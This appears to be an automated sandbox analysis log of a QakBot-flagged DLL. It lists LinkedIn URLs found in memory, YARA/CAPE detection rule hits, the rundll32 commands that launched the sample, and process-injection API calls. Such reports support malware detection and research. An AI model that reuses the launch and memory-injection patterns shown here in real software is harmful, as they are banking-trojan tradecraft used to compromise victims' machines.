Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://pe.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://ph.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://pk.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://pl.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://pr.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://press.linkedin.com/?trk=homepage-basic_directory_pressMicrositeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://pt.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://ro.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://ru.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://se.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://sg.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/292yd0en6qdvkbezeuj71yu4y
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/2r8kd5zqpi905lkzsshdlvvn5
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/36lpn9v7fqsm6i7t6ny8bgacs
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/3l4csbmaa6sv4gtsledhbu9lq
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/4chtt12k98xwnba1nimld2oyg
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/51t74mlo1ty7vakn3a80a9jcp
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/5mic7em4akle2l5km6kwwo2hf
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/6ulnj3n2ijcmhej768y6oj1hr
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/75y9ng27ydl2d46fam5nanne5
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/7asbl4deqijhoy3z2ivveispv
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/7kb6sn3tm4cx918cx9a5jlb0
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/8vttiljf33oqe5y4btpnhov3u
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/8wykgzgbqy0t3fnkgborvz54u
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/92eb1xekc34eklevj0io6x4ki
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/98lptr8kagfxge22q7k1fps8
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/ann24vsq7r0ux3vipqa1n90gg
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/b0sinzszgdrksde0dzc0leckm
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/b1fxwht7hdbeusleja7ciftsj
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/c9dcz2pyrbwi3sr6xwxigmvlz
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/dbvmk0tsk0o0hd59fi64z3own
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/dkfub4sc7jgzg3o31flfr91rv
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/dxf91zhqd2z6b0bwg85ktm5s4
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/e5ka7p8s9n5r0z9p6kpmm3hig
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/aero-v1/sc/h/etkd25e7kzp2lrg1w9y0kixlu
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://sv.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://th.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://tr.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://tt.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://tw.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://uk.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://uy.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://ve.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/accessibility?trk=homepage-basic_footer-accessibility
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/company/linkedin/jobs?trk=homepage-basic_directory_careersUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/advice?trk=homepage-basic_directory_adviceDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/articles?trk=homepage-basic_directory_articlesDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/companies?trk=homepage-basic_directory_companyDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/featured?trk=homepage-basic_directory_featuredDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/jobs?trk=homepage-basic_directory_jobSearchDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/learning?trk=homepage-basic_directory_learningDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/news?trk=homepage-basic_directory_newsDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/newsletters?trk=homepage-basic_directory_newslettersDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/people-search?trk=homepage-basic_directory_peopleSearchDirectoryU
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/people?trk=homepage-basic_directory_peopleDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/posts?trk=homepage-basic_directory_postsDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/products?trk=homepage-basic_directory_productsDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/schools?trk=homepage-basic_directory_schoolsDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/directory/services?trk=homepage-basic_directory_servicesDirectoryUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/help/linkedin?lang=en&trk=homepage-basic_directory_helpCenterUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/accounting-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/administrative-assistant-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/administrative-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/arts-and-design-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/business-development-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/community-and-social-services-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/consulting-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/customer-service-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/education-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/engineering-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/entrepreneurship-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/finance-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/healthcare-services-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/human-resources-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/information-technology-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/jobs-in-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/legal-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/marketing-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/media-and-communications-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/military-and-protective-services-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/operations-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/product-management-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/program-and-project-management-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/purchasing-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/quality-assurance-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/real-estate-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/research-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/retail-associate-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/sales-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/search?trk=guest_homepage-basic_guest_nav_menu_jobs
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs/support-jobs-h
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/jobs?trk=homepage-basic_directory_jobsHomeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/?trk=homepage-basic_directory_learningHomeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/search?trk=guest_homepage-basic_guest_nav_menu_learning
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/search?trk=homepage-basic_brand-discovery_intent-module-thirdBtn
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/aec?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/animation-and-illustration?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/artificial-intelligence?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/audio-and-music?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/business-analysis-and-strategy?trk=homepage-basic_learning-
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/business-software-and-tools?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/career-development-5?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/cloud-computing-5?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/customer-service-3?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/data-science?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/database-management?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/devops?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/diversity-equity-and-inclusion-dei?trk=homepage-basic_learn
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/finance-and-accounting?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/graphic-design?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/human-resources-3?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/it-help-desk-5?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/leadership-and-management?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/marketing-2?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/mobile-development?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/motion-graphics-and-vfx?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/network-and-system-administration?trk=homepage-basic_learni
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/photography-2?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/product-and-manufacturing?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/professional-development?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/project-management?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/sales-3?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/security-3?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/small-business-and-entrepreneurship?trk=homepage-basic_lear
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/software-development?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/training-and-education?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/user-experience?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/video-2?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/visualization-and-real-time?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/web-design?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/learning/topics/web-development?trk=homepage-basic_learning-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/cookie-policy
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/cookie-policy?trk=homepage-basic_footer-cookie-policy
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/copyright-policy?trk=homepage-basic_footer-copyright-policy
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/privacy-policy?trk=homepage-basic_footer-privacy-policy
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/professional-community-policies?trk=homepage-basic_footer-community-g
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/legal/user-agreement?trk=homepage-basic_footer-user-agreement
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/login?fromSignIn=true&trk=guest_homepage-basic_nav-header-signin
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/mypreferences/g/guest-cookies
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/products?trk=homepage-basic_directory_productsHomeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/psettings/guest-controls?trk=homepage-basic_footer-guest-controls
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pub/dir/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/business-administration-s50111/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/construction-management-s831/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/engineering-s166/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/healthcare-s282/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/home/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/home/?trk=guest_homepage-basic_guest_nav_menu_articles
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/it-services-s57547/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/marketing-s2461/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/public-administration-s3697/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/sustainability-s932/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/pulse/topics/telecommunications-s314/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/salary/?trk=homepage-basic_directory_salaryHomeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/services?trk=homepage-basic_directory_servicesHomeUrl
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/signup
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/signup?trk=guest_homepage-basic_directory
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/signup?trk=guest_homepage-basic_nav-header-join
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/signup?trk=homepage-basic_join-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/talent/post-a-job?trk=homepage-basic_talent-finder-cta
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/uas/login-submit
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://www.linkedin.com/uas/request-password-reset?trk=homepage-basic_forgot_password
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://za.linkedin.com/
Source: GM1SFAFG.htm.31.dr	String found in binary or memory: https://zw.linkedin.com/

Source: unknown

DNS traffic detected: queries for: linkedin.com

Source: loaddll32.exe, 00000000.00000002.393798325.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: photographed.dat.dll

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL

Source: 19.2.rundll32.exe.cf0968.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 19.2.rundll32.exe.ef0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 19.2.rundll32.exe.cf0968.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 660

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\Windows\AppCompat\Programs\Amcache.hve.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001F0A7	3_2_1001F0A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001556	3_2_10001556
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001B611	3_2_1001B611
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001861E	3_2_1001861E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10018E04	3_2_10018E04
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F071FF	19_2_00F071FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F08D30	19_2_00F08D30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F04A6F	19_2_00F04A6F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EF3A40	19_2_00EF3A40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F06E40	19_2_00F06E40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F0320D	19_2_00F0320D

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10028D98 appears 138 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10028D18 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10007CBB appears 66 times

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EFA823 GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	19_2_00EFA823
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EFA412 NtAllocateVirtualMemory,NtWriteVirtualMemory,	19_2_00EFA412
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00EFCA0F NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtFreeVirtualMemory,	19_2_00EFCA0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00F043F4 NtProtectVirtualMemory,NtProtectVirtualMemory,	19_2_00F043F4

Source: photographed.dat.dll

Binary or memory string: OriginalFilenameconcrt140.dll^ vs photographed.dat.dll

Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: cryptnet.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\wermgr.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll

Source: photographed.dat.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\photographed.dat.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$00@details@Concurrency@@QAE@P6AXXZ@Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\photographed.dat.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5684 -s 660
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 664
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0?$_SpinWait@$0A@@details@Concurrency@@QAE@P6AXXZ@Z
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3108 -s 652
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\photographed.dat.dll,m?0SchedulerPolicy@Concurrency@@QAA@IZZ
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7216 -s 648
